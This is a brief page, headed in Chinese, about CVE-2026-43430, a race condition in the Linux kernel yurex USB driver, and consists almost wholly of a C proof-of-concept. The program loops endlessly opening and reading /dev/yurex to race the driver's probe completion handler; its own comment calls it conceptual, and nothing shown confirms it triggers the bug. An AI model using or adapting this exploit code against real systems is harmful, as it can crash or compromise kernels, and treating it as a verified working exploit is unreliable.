CVE-2026-43430 Linux内核yurex驱动竞争条件漏洞

/* * PoC for CVE-2026-43430 (Conceptual) * This code attempts to trigger the race condition in the yurex driver. * Requires a vulnerable kernel version and specific hardware setup or emulation. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #define DEVICE_PATH "/dev/yurex" void trigger_race() { int fd; char buffer[10]; // Continuously attempt to interact with the device // to race against the probe completion handler. while(1) { fd = open(DEVICE_PATH, O_RDWR); if (fd >= 0) { // Reading from the device may trigger the race if // the device is in a specific state during probe. read(fd, buffer, sizeof(buffer)); close(fd); } else { usleep(100000); // Wait if device not present } } } int main() { printf("Starting PoC for CVE-2026-43430...\n"); trigger_race(); return 0; }